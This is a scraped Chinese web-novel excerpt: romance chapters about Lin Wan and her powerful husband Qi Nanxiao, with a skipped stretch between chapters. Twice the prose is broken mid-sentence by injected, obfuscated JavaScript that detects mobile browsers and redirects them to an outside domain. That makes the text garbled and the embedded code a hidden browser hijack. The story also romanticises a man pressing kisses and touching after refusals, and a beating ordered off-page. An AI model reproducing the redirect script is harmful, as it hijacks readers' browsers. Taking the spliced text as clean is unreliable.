方茗泽笑得意味深长:“你要不要来雍雅楼一趟?你家小仙女被人欺负了,还是被你妈的情夫给欺负了。你不替她出出气?” 祁南骁面无表情,说出来的话却冷得吓人:“这种事还要我出面?那我雇那么多人都是吃干饭了?” 陈经理立马道歉:“对不起,四少。我这就安排人解决。” 他说完,立马安排另一披人过去处理,听到方茗泽说那边有人是祁南骁的女人,他更是不敢怠慢。 方茗泽抬眼眺望,轻‘啧’几声,嘴里嘀咕着:“哎,真可怜,妹妹过个生日还在自家老公的地盘被人给欺负了。真是虎落平阳被犬欺。” 祁南骁先是满肚子怒意,待看见视频里被摔得稀巴烂的蛋糕后,眸色飞快的闪过了一抹什么,紧接着冷冰冰道:“不会说话就把嘴巴缝上。” 方茗泽嘴角一瞥,悻悻道:“怎么还带威胁的,我可是救了你家...” 话还没说完,视频就被祁南骁单方面挂断了。 方茗泽眼底露出一抹意味深长。 宾利车子里,祁南骁扔下手机,点了根烟,透过一层白烟,他黑色的瞳孔一眨不眨的盯着副驾上的助理:“见林国冬的日子定在哪天?” 助理很快道:“定在明天晚上九点后。” 祁南骁靠在后坐,举止慵懒,眼神清冷,不紧不慢的抽烟。 正当助理以为他不会回话后,忽然听到他说:“把时间改到今天晚上。” “好的。” 14. 第 14 章 雍雅楼里。 林晚紧紧盯着轮椅上的李耀天,一字一句的道:“你跟祁家什么关系,敢在雍雅楼动手?” 李耀天冷笑道:“我跟祁家什么关系你不需要知道,你只要知道,我足够弄死你就够了。今天就是天王老子来了,我也要让你知道得罪我的下场...” 他话未说完,就被身后响起戏谑的声音打断:“呦,口气不小啊兄弟,用的什么牌子的牙膏,说话这么冲。” 李耀天回头看到方茗泽的那一刻,瞳孔都震荡了。 方茗泽是和祁南骁有着黑白无常的称号,他是白无常,出了名的笑面虎,祁南骁是黑无常,出了名的狠。圈内人都说惹上这俩人,就不用在京市混了。 “方先生,说笑了。我跟这几位是朋友,闹了点小矛盾。我们这就走,绝不坏了雍雅楼的规矩。”李耀天说完,暗示李耀文离开。 方茗泽朝着林晚勾起唇角,打了个招呼,随即才看向李耀天笑得分外妖娆:“你说走就走,把这当什么了?” 分明是戏谑的语气,可在李耀天听来莫名的寒意凉凉。 洛梵简直不能淡定,眼睛一眨不眨的盯着方茗泽,嘴唇微动,声音很低的跟林晚道:“你跟方茗泽认识?” 林晚摇头正想说不认识,只见门口方向突然出现一抹黑色身影,他背着光,穿着身色西装,高大身形撑起西服轮廓,领带上还系银色领带夹,整体风格冷硬、疏离,像是从正式场合刚出来的样子,一丝不苟到刻板的程度。 她定睛一看,恰好撞入祁南骁漆黑深沉的眸子里,他像是早有预料一般,视线越过多余的人直接落在林晚身上。 洛梵知道祁南骁的凶名在外,虽然知道他是自家姐妹的塑料老公,但还是莫名的害怕,突然看见真人朝她们方向走过来,她吓得直接躲林晚身后,拉着林晚胳膊。 林晚第一次在好朋友面前跟祁南骁见面,莫名有种心虚,总觉得像是背着好朋友在外面找了别的‘狗’,所以马上别开视线,跟着洛梵一起犯怂。 梁子超那边被人放了后第一时间挡在两个姐妹面前,跟方茗泽和祁南骁寒暄:“四少,茗泽哥,这两位是我的好朋友。本来想在雍雅楼给我朋友过个生日的,谁料这俩人不知吃错什么药就是要为难我朋友。我们是被逼无奈才还手的,真不是故意在雍雅楼闹事。” 方茗泽言笑晏晏道:“都是小事。”他说完眼尾弯弯看着林晚,伸出手热切道:“这位就是你朋友吧?你好,我是方茗泽。” 林晚礼貌回应,刚要伸出手,祁南骁已经先一步把方茗泽拉了回去,无声的瞥了眼方茗泽。 方茗泽眨了眨眼,很是无辜:“干什么,我交友你还要干涉啊?” 洛梵八卦的眼睛闪闪发亮,来回看着祁南骁和方茗泽,暗想着祁南骁对自家貌美妻子一个眼神都没有,反而第一时间看向自家好基友? 丫的,祁南骁不会是喜欢男的吧? 祁南骁不理方茗泽,转头跟梁子超淡漠道:“这里没你们的事了,我让人给你们安排个包间。”他说完,跟一旁的经理道:“待会不用记账。” 这是要给她们免单的意思了。 梁子超受宠若惊,自家表哥虽然跟祁南骁认识,但也没好到能让他对自己特殊照顾的地步:“谢谢四少,不管怎么说,今天这事,我们也有不对的地方。我们何德何能让您为我们免单。” “既然是在雍雅楼出的事,那我自然要有所表示,不然说出去,我还怎么做生意?”祁南骁眼皮一掀,神色不奈打断道。 梁子超喉结微动,连忙出声道:“那...好,谢谢四少。” —— 经理亲自上前跟林晚几人道歉,说是他们没有处理好,让几人受惊了。说完,还亲自将三人往外引。 林晚坐回轮椅上,洛梵推着她走,和祁南骁擦肩而过时,她余光看见祁南骁站着不动,脸上一贯平静的让人猜不透,但她却能从祁南骁唇角轻扯的小动作,看出祁南骁在嘲讽了。 嘲讽她?还是嘲讽李耀天? 这就不得而知了。 林晚三人被经理带着上了电梯,这是通往顶楼vip包厢的专属电梯。 每个vip包厢都有自己的专属电梯,私密性极强。很多达官贵族喜欢来这里应酬,压根不用担心会被人偷拍之类的。 这里的工作人员都是经过特殊培训的,男的帅,女的美,婀娜多姿各个情商都很高。林晚不得不在心中感慨,这里简直就是个销金窟啊,穷奢极欲。 一路上,梁子超都在跟经理寒暄,别看人家只是一个雍雅楼的经理。要知道人家平时接待的都是vip客人,都是和达官贵族人们打交道。 就算梁子超家里有点背景,但在这位经理面前,他也得给人家几分面子。 人家能被选中成为专门服务于vip客人的经理,自有过人之处,察言观色都是最顶级的技能。 经理一早就注意到林晚的存在,原本从方茗泽那里听来只言片语,再加上林晚的容貌气质都是顶级美女那一挂的,他只要稍微一分析便能猜到祁南骁跟林晚的关系很不一般,因此他对林晚的态度更加客气和尊重了。 “林小姐,您喜好什么口味?我好吩咐后厨准备一下。” 林晚扯了一抹笑,礼貌道:“我不挑食,都可以。” 经理恭恭敬敬的说:“好的,那我们就按照雍雅楼的特色给您上,可以吗?” “好的。” 洛梵默默出声:“那个,陈经理,咱们这边有经过兴奋剂检测的肉吗?” 其实,她本可以不刻意强调的,但一想到林晚今天生日,好不容易出来吃顿好的,结果还要因为运动员的身份吃得不尽兴,她也是心疼自家好姐妹,亲爸重病,过个生日还被人找茬,扫把星都没她倒霉。 陈经理是个人精,洛梵这么一问,他就猜到林晚可能是运动员,当即笑道:“有的。我们雍雅楼也会有特殊职业的客人。所以准备的肉类都是经过严格检测的,兴奋剂这类东西绝对不会有的。您放心。” 梁子超笑着道:“那就麻烦陈经理了,我朋友是运动员,对这方面比较敏感。” 陈经理说:“不客气,服务好每一位客人,是我们的本职。” 一路到达顶楼的vip包间,电梯门打开,跨步出来就是柔软的地毯,陈经理亲自引三人进入包间,抬眼一看,无一不是富丽堂皇。 头顶是价值几百万的水晶吊顶,放眼往去,每一个摆设都是价值不菲的文物,房间正对面是全景玻璃,能看到整个皇城,寸土寸金的地界,如此奢侈的装修,难怪外界都说这里吃顿饭就得六位数。 等陈经理走后,洛梵忍不住惊讶出声:“我去,我自问我家也不赖,可老娘还是第一次进入如此奢侈的包间。啧,这青花瓷我之前陪我家老头子在嘉士德见过,当时拍了八位数。人家之间拿来当花瓶用!” 林晚暗道,可不是。洛梵家是干实业的,她老爸好歹也是个富豪。连她都感慨这儿的奢侈,可见富豪间的阶级差别有多大。 梁子超跑到娱乐室,感慨道:“你看看,人家连麻将都是纯金打造的。啧,确认过了,是足金的。” 两活宝对视一眼,发出一声惊呼:“豪无人性!” 全场最淡定的应该就是林晚了,她从进门后浏览了一遍包间后就坐在圆桌上安静吃饭菜了。她是真的饿了,从下午出门后就没进食过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14359102|152858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚刚又经历了一场高强度的精神打斗,肚子早就开始反抗了。 洛梵喝了口价值六位数的红酒,出声道:“哎,人比人,不能比。跟祁南骁比起来,我感觉我就跟乞丐一样。” 林晚吃了口烤鸭,瞥了她一眼:“你逗我呢,你见过身家几十亿的乞丐?” 洛梵撑着下巴:“人外有人,我今天窥探到这天上人间,才明白有些阶级不是靠钱就能跨越的。” 梁子超嘴角一撇:“你嫁上去不就跨越了。” 洛梵蹙眉:“你当人家傻啊,没事低娶干嘛?要找也找门当户对的啊。再说了,你以为这些权贵豪门家里就那么好混啊,不是门当户对的嫁上去指不定被怎么欺负呢。我好歹也是我爸妈捧在手心里的宝,干什么想不开去吃这份苦。” 说着说着,洛梵猛然惊醒,自家好姐妹现在不就是面临着这个局面?林晚更可怜,她连能撑腰的家人都没了。 一想到这,洛梵就想哭:“林晚,我爸妈说了,只要你愿意,他们随时可以对外公开认你为女儿的事。我们一家永远是你的后盾。” 林晚给她倒了杯酸梅汤解解酒:“把这个喝了。” 梁子超一本正经道:“我爸妈也说过,他们说让你跟我结婚,我们梁家也是你的后盾。我觉得吧,真结婚不行,毕竟我这芳心是属于全天下18岁以上女人的,但咱俩可以假结婚,我们家照样可以保护你。” 洛梵一口酸梅汁直接吐了出来,酒都醒了:“你丫的,想屁吃呢。喝几口猫尿就把你给喝上天了。” 梁子超擦了擦被殃及的手臂,不无意外道:“都说了假结婚,又不领证,法律上我跟林晚还是独立的。” 洛梵是知道林晚跟祁南骁已经领证的事了,她眼皮一掀,出声道:“你死了这条心吧,就你三天两头换女朋友的速度,我都怕我姐妹跟你前头传出结婚的消息,后头就被你的那些莺莺燕燕给活埋了。你丫的,身上一堆情债,少给我俩惹事。” 梁子超悻悻道:“那你说怎么办嘛,伯父之前得罪了不少人,林晚现在又是处于风口浪尖上,迟早会被殃及到的。到时要是没有一个强硬的后台,她被那些人怎么‘吃’的都不知道。” 林晚又给梁子超倒了杯酸梅汁,俩酒鬼拿陈年红酒当果汁喝,现在都上头了,她无奈道:“也没你们说的那么糟糕。” 她看着梁子超说:“其实我爸出事前把我托付给了一个旧友,对方对我也很照顾。有他们在,我并不会被牵连到。” 洛梵知道她说的人是谁,但听得心里堵得慌,自家姐妹寄人篱下肯定不好受。 梁子超不知道,疑惑问:“是谁?” 林晚抿了抿唇道:“祁家。” “谁?” 洛梵一个白眼横了过去:“耳朵聋啦?都说了,祁家,祁南骁的祁家。” 梁子超跳了起来:“我草,你竟然抱上这么粗的大腿,有这种好事也不叫上我!” 洛梵一巴掌拍了下去:“你丫的,那么大声干嘛?在人家地盘蛐蛐人家。” “老洛,我看你就是欠收拾。”梁子超欺身上前。 林晚笑着数数,刚数到三,就听见梁子超哀嚎:“哎呦,老洛,快放开我的耳朵。” “就许你抓我头发,还不许我抓你耳朵了?” 饭桌上的两人又开启小学生互啄模式,林晚见怪不怪了。 打闹间,陈经理敲门进来,身后还跟着一个貌美的女服务员,她手里还推着一个三层高的蛋糕,精美得好像一个艺术品。 三人都愣住了。 陈经理笑着说:“林小姐,这份蛋糕是我们老板送给您的,他代我向您问好,祝您生日快乐,事事顺心。” 15. 第 15 章 陈经理这突如其来的送温暖,林晚都愣住了。 祁南骁什么时候这么好心了?他昨天还把她当仇人一样,今天就给她送蛋糕,他又是怎么知道她过生日的? 林晚怎么想都觉得不对劲。 陈经理不只是送了蛋糕,还送了好几道名贵特色菜,黄闷麝香猪、金钱蚌螺、星月鳕鱼等。 林晚看着满汉全席,回过神儿,礼貌道:“谢谢。” 等人走后,梁子超和洛梵都沸腾了,跑去研究那个蛋糕。 梁子超惊讶:“我去,这蛋糕送的,怪浪漫的。还有白天鹅呢,这么漂亮我都不忍心吃了。” 洛梵补充道:“这个牌子的蛋糕挺难买的,一般都得提前好几个月定制呢。不愧是祁南骁,啧,钱权真是个好东西。” 梁子超忽然回头,盯着林晚语出惊人:“他怎么这么会讨女人喜欢?该不会是喜欢你吧?” 林晚吓得差点筷子没拿稳:“大晚上的,能不能不要鬼话连篇,怪渗人的。”她宁愿相信祁南骁喜欢方茗泽,也不会相信他喜欢她! 两人领证时,祁南骁那副恨不得弄死她了事的神情,她至今都记得。 梁子超悻悻着,三人简单走了个仪式,林晚就切了蛋糕。 吃蛋糕时,她才想起,应该给祁南骁分一份的,但又不知道他本人在哪,思来想去,她拿出手机,编辑了条短信发过去。 祁南骁那边一直没有回,也不知道在干什么?林晚遗憾的放下手机,继续享受美食。 —— 被惦记的祁南骁此时正在隔壁包厢里,上半身完全隐匿在暗处,唯有一小截裤腿依稀可见,他伸手拿了根烟,左手动作熟练点燃打火机,一簇小小的火苗照亮了他挺立的眉眼。 李耀天和李耀文被保镖‘请’进包间,看见这一幕当场愣在原地,火苗稍纵即逝,只剩下烟头上的点点星光。 祁南骁靠在沙发上,声音低沉慵懒:“说吧,是不是看我不顺眼,一而再再而三在我的地盘闹事?” 偌大的包间,针落可闻,李耀文和李耀天被扔在地上,大气都不敢喘一下。 祁南骁抬眸,淡漠道:“不说话是什么意思?默认了?” 李耀文看着面前七八个保镖,吓得嘴唇都不利索了,他身边的李耀天也没好到哪里去,强装镇定道:“四少,我不知道他们是你的人。我要是知道,我绝对不敢得罪他们。我可以赔礼道歉,只要您肯放过我们兄弟俩,您让我做什么都可以?” 祁南骁的脸完全在暗处,看不见神情,只听见他不屑的笑出声:“你以为你是谁?跟我的人道歉,你有这个资格吗?” 他说到这,声音顿了下,微微倾身,露出一张冷俊的脸,眼底寒光划过:“谁给你这么大的脸,在我的店里,打我的人,你怎么不直接把手往我脸上招呼?” 方茗泽在旁边静静的喝酒,闻言,意味深长的看了眼祁南骁,像是发现什么稀奇的东西。 李耀天想死的心都有,此时的祁南骁就跟狩猎的狼一样,隐怒下是赤果果的杀气腾腾。 李耀天忍不住一个哆嗦,连忙摇头:“四少,我真不是故意的。” 祁南骁抽了就烟,半秒后缓缓吐出一层烟雾,他拿起面前桌子上的酒杯,对着李耀天那边的酒杯轻碰了下,随即缓缓举起自己的酒杯,将酒从左往右倒地上。 透过烟雾,祁南骁冷眼瞧着眼前的人,勾起唇角,自顾自道:“一句不是故意就完事了?看来上次我要你一条腿还是太轻了。” 他话音落下,眼前的保镖肌肉绷紧,眼神立马犀利起来。 这个动作哪里是敬活人的酒? 李耀天脸色煞白,吓得只进气不敢出气:“四少,求你看在您母亲的份上,原谅我这次的鲁莽,您让我做什么都行。” 他不提文燕莉还好,一提她,祁南骁想弄死他的心都有了。 李耀天苦苦哀求:“四少,我真的不敢了,求您看在您母亲的面上,放我一马。您让我做什么都行。” 祁南骁弹了弹烟灰,眸子微眯神色骤冷,夹着烟的手指微抬。圈内人都知道,在祁南骁面前提他父母是禁忌,李耀天自以为当了文燕莉的情人就是半个祁家人,没少打着祁家人的旗号耀武扬威,还以为自己能得了祁南骁的特殊照顾。 的确是特殊照顾了,特殊到他李耀天没这个福气消受。 保镖得到祁南骁的示意立马点头回敬,动作利落的拉起地上那两人的脚踝跟拖地似的一路将人拉到隔壁娱乐室。 惨烈的尖叫响起,随即立马又被什么给堵住似的,瞬间安静许多。 方茗泽凑过来,贱兮兮道:“四少,这是冲冠一怒为红颜啊~” 祁南骁冷冷瞥了他一眼:“你皮痒了?也想进去被打一顿?” 方茗泽嘴角一扯:“得,还不好意思了?” 祁南骁没说话,自顾自抽烟。 方茗泽微笑着继续道:“我就知道你是做了好事也不留名的德性。还好,我机智帮你宣传。” 祁南骁掏手机的手一顿,侧头蹙眉:“你又干什么事?” 方茗泽笑眯眯:“当然是给林晚送了个温暖咯。” 眼看着祁南骁眸里的危险气息更浓了,他赶紧求生道:“只是用雍雅楼老板的名义送给她一个蛋糕。” 祁南骁蹙眉,低头刚好看到林晚给他发的道谢信。 【今晚的事多谢祁先生。很抱歉又给您惹了事,认识您到现在,给您惹不少麻烦。这么说似乎很官方,很苍白,但我对您的感激是真心的。谢谢您每次都不计前嫌的帮助我。日后有用得着我的地方,我一定竭尽全力。还有,谢谢您的蛋糕,我很喜欢。祝您生活愉快。】 一段很官方的道谢信,换平时,他连开头都懒得看,可他还是看完了。 在看到林晚名字的那一刻,不知怎的,他脑海浮现出,第一次见她的画面,那时她被李耀文逼得无路可退,孤独无助,可下一秒却突然发狠朝对方致命地方一击。 祁南骁不知该怎么形容林晚。 理智?能屈能伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14359103|152858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?聪明? 好像都不太准确,他脑海里突然想到一个字:忍。 林晚就是这么一个能忍的人,她身上有一种韧劲和狠劲,让人捉摸不透她的招数,却总能在关键时刻突然出击,一招‘毙命’。 这样的女人,有着风雨不惊的劲儿,不作妖的美,能文能武,能俗能媚。在经历了这么大的变故后海能如此镇定,可见她的内心比想象的强大,至少比那些自顾自怜,整天以泪洗面的女人强多了。 想到这,祁南骁眼眸微顿,他打开手机调出林晚的号码,回了个消息回去。 【20:50,地下车库。去医院看你爸,过时不候。】 隔壁,林晚放在桌面的手机震动了一下,她连忙打开,看到祁南骁发来的短信内容时,她的一颗心都提到了嗓子眼儿了,一时间恍惚了惊喜和惊讶。 看了眼时间,还有十多分钟,但她已经迫不及待想去车库等祁南骁了。 梁子超和洛梵也注意到林晚的不对劲,林晚如实回答待会要去见林国冬的事。 两人都很震惊,让她赶紧准备下,不要让人家等。 三人收拾了下,梁子超和陈经理寒暄道别,洛梵送林晚下到地下车库,林晚心里又喜又急,恨不得现在一个瞬移就能见到林国冬。 到了地下车库,没等多久,就看到祁南骁乘坐的电梯门打开,他身后还跟着不少保镖。 洛梵有点怂,悄悄抓紧林晚的胳膊。 祁南骁只是略略抬眸看了她们一眼,便直接上了宾利车。 洛梵赶紧推了下了林晚:“赶紧去吧,替我们跟伯父问个好。” 梁子超叮嘱道:“放松点,省得伯父看见了担心。” 他们都知道林国冬不可能看到林晚的,但还是这么说了,在他们心中林国冬哪怕成了植物人,依然是他们慈祥亲近的长辈。 林晚忍着喉咙泛起的酸涩道:“好。我走了。” 跟好友道了别,林晚坐着轮椅走到宾利车前。 司机恭恭敬敬替她开车门,林晚扶着车门坐进后座,看见面无表情的祁南骁,在感激之情的影响下,林晚对他多了几分好感:“谢谢您,祁先生。” 祁南骁看了她一眼,尽管她装得很镇定,但还是能看出她此时特别紧张和激动,手指总是会无意识的搓着鱼尾裙摆。白色的座椅上,她就像是一条红色的美人鱼,身形柔美纤长。 祁南骁的视线不由自主地从她的裙摆往上扫。修身包臀裙恰到好处的将她的身材完美勾勒出来,纤细的腰肢,浑圆挺翘的臀线,以及那让人难以忽略的...被包裹着的两团丰满。 她肤色很白,身材线条很美,并不是那种娇滴滴的美,反而是柔中带着力量的美,白皙的身体,犹如静谧的湖水,表面平静,内里蕴藏着诱人的秘密。 幽深的眸子在她的胸前凝滞了几秒,祁南骁明显的切换了下视线。 林晚可不知道在短短几秒里,身旁的男人对她见色起意了那么几秒,她此刻满心满眼的期待着见到林国冬。 40-50 第41章  按摩 不知是对痒免疫了, 还是适应了疼痛,林晚觉得自己没有一开始那么大的反应了。 祁南骁的手法堪称专业,掌心搓热从侧腰逐渐往脊柱的方向揉去。 林晚把头埋在床上, 后知后觉两人此时的姿势有点过于暧昧了。祁南骁的手掌心有一层茧,随着掌心游走, 不断的轻刮着她的皮肤,不痛,但却有着极强的存在感。 理智上知道祁南骁是在帮她散淤血, 可感性上脑子里还是忍不住浮想联翩。 毕竟她睡衣里面还没穿内衣, 不同于刚刚的接吻, 此时, 祁南骁的手就游走在她的腰上,每一次滑过, 都有一种衣服要被他脱光的羞耻感。 正想着,感受到背后那只手按摩的范围又扩大了,林晚回过神儿来抬起头赶忙道:“那上面没受伤。” 祁南骁稍微停顿,随即又继续若无其事的在她背上游走, 声音暗哑:“淤血得散开,疏通筋络。” 林晚咬牙, 再往上就要到她胸后面了:“你这是歪理。” “乖,今天先忍忍,不然淤血很难好。” 祁南骁说完手掌不动声色的继续往上滑, 林晚半干的头发海藻一般散下,顺着肩头直至腰际, 腰肢纤细,就连臀部也很好看。 当摸到她蝴蝶骨下面空荡荡一片时,祁南骁的呼吸都停住了。 林晚的皮肤光滑细腻, 不能想,越想他就越来越热。 林晚感受到身后那双手开始不安分,她忍无可忍,趁着祁南骁不注意时刻制止他的手翻过身,就看到祁南骁目光如目标明确的猎夹,一动不动地看着她。 祁南骁眼神里幽深而炙热。暧昧不清的房间内,一个眼神就能让人心甘情愿的沦陷。 林晚心尖一颤,下意识要起身逃跑。 祁南骁突然欺身而上,扣住她的手腕,林晚瞬间汗毛竖起,瞪眼警告:“你给我起来。” “我想亲你。”祁南骁的语气像被摁进被子里,低沉且哑。 林晚同样低声,横他一眼:“不行,你想都别想。” 祁南骁把她压在床上,低声道:“就当是我刚刚帮你按摩的奖励。” 林晚抬手挣脱,发现自己力气根本没祁南骁的大:“又不是我要你按摩的。” 祁南骁满眼促狭,眼里是吃定她的兴奋,压低声音道:“就亲一下,什么也不做。” 林晚知道他是什么意思,但她有些不好意思,抿着唇瓣不出声,祁南骁缓缓压下头。 她心里像飞进一只蝴蝶,不断煽动着,属于他的气息越来越近,林晚在最后一刻闭上眼屏住呼吸,心想随他亲一下就好,既然都准备接受他了,就不要计较这些了,不然按照他的性格非得非缠着她不放。 “小晚。” 鼻间相抵,林晚听到祁南骁低声呢喃,与之一起靠近的还有男人的胸膛,摩擦在她的真丝睡衣前,烫/人的温度混着强有力的心跳,仿佛不停的在她心口摩擦。 这一刻她明白了洛梵常说的荷尔蒙的吸引力。 可并没有想象中的快乐,反而是没有来由的烦躁。 林晚睁开眼瞪着眼前的人,下一秒下巴就被他扣住,不容拒绝地吻了过来。 火热的、用力的深吻。 林晚冷不防的张唇,他却趁机闯入,缠住她,动作越发激烈。 越是靠近她,祁南骁便越是不受控制,尤其是此刻抵着他胸膛的地方,软软的、温暖至极。 林晚挣扎着,他却一如既往的霸道蛮横,渐渐的她也被卷入情/迷陷阱。 有些事不是能凭意志力控制的,尤其是在床上,男人的嘴就是骗人的鬼。缠绵沦陷,越是安静越能听到一些令人面红耳赤的纠缠声。 中途,祁南骁抽回手摩挲着林晚的腰。林晚不受控制的发出一声闷哼声,换来祁南骁更加压抑的侵略。 房间内气氛暧昧紧张,林晚心里的防线早已瓦解。正当她脑海一片空白之际,她的上衣被掀开了,微凉的掌心覆盖在她心口,把她从天堂拉了回来,她睁开眼把祁南骁给推开。 美梦被打断,祁南骁睁开眼,眼里的欲/海未退,他蛮横的扣住她的手腕,作势低头吻她。 林晚气死了,瞥过头不让他亲。 祁南骁不明所以,想用强的。 林晚先他一步警告道:“不许亲我。” 许是看出她的认真,祁南骁终究还是没有亲上去,只是压着她眼巴巴的看着她,委屈又难受。 林晚受不了他这副委屈样,明明吃亏的是她,他委屈什么? 果然男人说的话要是能信,猪都能上树了。 祁南骁直勾勾的盯着林晚这张带着些许怒意鲜活的脸,白皙细腻的脸因为长时间接吻,白里透红,衬得五官分外飘亮。 她怎能这么好看,就连生气也好可爱。 指间轻轻在她脸颊上扫过,祁南骁柔声解释道:“只是亲亲而已。” 林晚嗔怒瞪着他:“你那是亲一下吗?” 祁南骁低头埋在她心口,闷闷道:“亲两下。” 林晚被他压着,他一张嘴,她就被折磨得快疯了。 “祁南骁,你给我起来。” “起不来了。” 林晚咬牙切齿:“你再不起来我就打你了。” 祁南骁趴在林晚身上,感受着她的曲线,故意长长叹了口气。 那股温热的气息吹在心口处,林晚生生被逼出生理学眼泪,死咬住嘴唇。 祁南骁佯装不知道,他嘴角弧度越来越大:“哪有夫妻不接吻的?” 林晚脱口而出:“那我刚刚是被狗啃了吗?” 祁南骁摇头,不动声色的蹭了蹭她的心脏,他不动还好,一动林晚想打死他的心都有了,咽了咽喉咙。 伸手想要去抓他的手却不小心抓到他的侧腰,却不想祁南骁反应比她还大,直接一个翻身从她身上滚下去,侧躺在床上手掌护着自己的腰。 林晚眼眸微亮,他发现了祁南骁的弱点,他怕痒。 刚准备继续报复他,视线往下目光定格在他的衣摆下,灰色的运动裤裹着蓬勃有力的“腿”。 轮廓十分清晰显眼。 祁南骁顺着林晚的视线往下看,见她愣在原地,他眸色渐深,情不自禁的咽了咽喉咙:“你这么看我更忍不住了。” 林晚脸颊发烫,瞥开视线,越想越气,横了他一眼:“那你还不出去?” 祁南骁侧躺在床上对她的狠心丝毫不在意,很是无聊道:“起不来,我疼。” 林晚本来还疑惑他说的疼是哪里疼,等对上他戏谑的眼神便知道他说的哪里疼了,当即坐立难安,想骂他又不知从何骂起。 忍了半天说了句:“活该。” 祁南骁忽然倾身向前,林晚立刻警惕后仰:“你干什么?” 祁南骁似笑非笑道:“跟你商量件事。” 林晚用手抵住他的胸膛:“好好说话。” 祁南骁柔声道:“晚上我搬过来跟你一起睡呗。” 林晚瞥了眼他的裤腿,心底警铃乍响:“想都别想。” 祁南骁顿了下坐起身,顺手拿过一个枕头遮住裤/裆处:“我们是夫妻,睡一起天经地义。” 林晚想了想,抿唇道:“祁南骁,我现在接受你不代表我现在已经接受了我们的婚姻关系。” 她说完以为祁南骁会介意这句话,心里也很没底,对上他炙热的目光,不过几秒,她便败下阵来躲开他的眼神。 祁南骁拉住她的手,笑得很温柔:“没关系,那我们就从谈恋爱开始。反正只要终点是你就好。” 林晚心尖一颤。 祁南骁目光幽深,看着她逐渐认真:“你喜欢我吗?” 林晚嗔怒的看着他:“不喜欢难道刚刚我是让狗啃了吗?” 起南骁笑了紧紧的握着她的手:“林晚,我是真的喜欢你。想和你共度余生也是认真的。喜欢到什么程度我不确定,但就像傍晚我站在你家门外,想见你、想保护你,想救你,甚至当时恨不得杀了那个男人,这些都是本能。喜欢你是我的本能,我只想和你在一起,用尽全力去爱你,这辈子就想让你好好的。” 他说时,目光灼热,神情是从未有过的浓烈和温柔。 林晚知道他傍晚那会是从隔壁房子里踩着空调机爬到她家的,八楼高的地方,底下是钢筋水泥,稍一不小心就是粉身碎骨。可他还是义无反顾的奔向她,他对她的担心和喜欢不是假的。 林晚鼻尖一酸,声音不自觉地抖:“你就没想过万一摔下去会怎么办吗?你还有那么多钱没花。” 祁南骁笑了,抬手替她拭去眼尾的泪:“没想到那么多。” 安静半刻,他沉默地别开脸看向别处再转回来时,他的喉结微动:“当时我只有一个念头,见到你,无论如何都要见到你。” 林晚抬眸,心里的最后一道防线轰然倒塌,只更用力地握紧祁南骁的手。 祁南骁心里被塞得满满的,沉声问:“所以,我们在婚姻里谈一场不会散的恋爱怎么样?” 林晚本就是个外刚内柔的人,祁南骁几次救她于水火,她怎么可能没有触动?她没有谈过恋爱,也不蹭喜欢过人,不确定这恋爱要怎么谈,婚姻该如何经营,更害怕自己会步了周惠的后尘,打从心底里权衡利弊,计较得失。 可如今劫后余生一场,也让她更加明白人间不过一场烟火,只争朝夕就好。 林晚抬起头,温润的眼睛像雨后的露珠,真挚而柔软,眼里只有他,完完全全属于他的。 “好。” 第42章  摸摸 “好。我答应你。” 话音刚落, 祁南骁看着眼前的人缓缓起身,半干的头发海藻般散下,顺着肩头直至腰际, 她身上的睡衣不知何时换成了蕾丝吊带真丝睡裙,裙摆堪堪遮住大腿 是那天晚上, 她第一次住进柳山别墅,他在楼梯转角见到的那件睡裙,纯黑色真丝绸贴身露出出白皙光洁的脖颈, 漂亮的锁骨下还有他最爱的曲线, 只有几缕碎发轻飘飘的挡住。 最让他难以忘记的还是她锁骨下方那颗耀眼的红痣。明明那么小的一颗, 他却只看了一眼就记在心里。 她缓缓在到他身前, 看着他,眼底带着笑意:“我答应你, 你要怎么补偿我?” 祁南骁盯着她走路时的腰肢款款,眸色越发深沉炙热,她的腰臀比实在是太漂亮了。 她的手微微抬起白皙修长的指间轻抚着他的肩膀、喉结、鼻梁最后是唇瓣,如蜻蜓点水般温柔。 “怎么不说话?” 嘴唇透着粉泽, 她有点疑惑。 祁南骁顿时全身紧绷,燥热的气血在体内翻涌, 垂在身侧的双手悄悄紧握。 眼看着她要抽回手,祁南骁直接上前把人抱坐在他的腿上。 手掐着她的腰肢,抱着她。 她似乎感受到他的变化, 有些吃惊的挣扎起身。 祁南骁火气上涌,被磨得失去理智, 一手扣住她的下巴,不容拒绝地吻上去 某一瞬间,祁南骁听见她唇角溢出的叫喊声, 带着颤音。 他仿佛是一头莽撞的野兽,不知疲倦的享受着他的猎物,恨不得将她吞噬。 他的身体就像是沉浸进一片柔软的海绵,周身尽是温热丝滑缠绕 他只觉得脑海里白光一闪,海绵变成一片汪洋大海,将他整个人淹没,那股窒息般的危险不断把他往深处拽,强大的吸力把他从温柔香里拽了出来。 猛然睁开眼,祁南骁用力的喘着气,胸口起伏不平,过了好一会他才看清天花板。 过了好一会儿,他才想起这一切不过是一场梦。可又不愿意相信那只是一个梦,梦里的触感,白皙的秀肩、雪白上的那颗红痣都是那么真实的。 片刻后,祁南骁终于认清那只是个梦的事实,缓缓起身,他长长叹了口气,不知道什么时候才能梦想成真。 起床把被子、床单拆好扔掉,他进了浴室洗了个澡。 —— 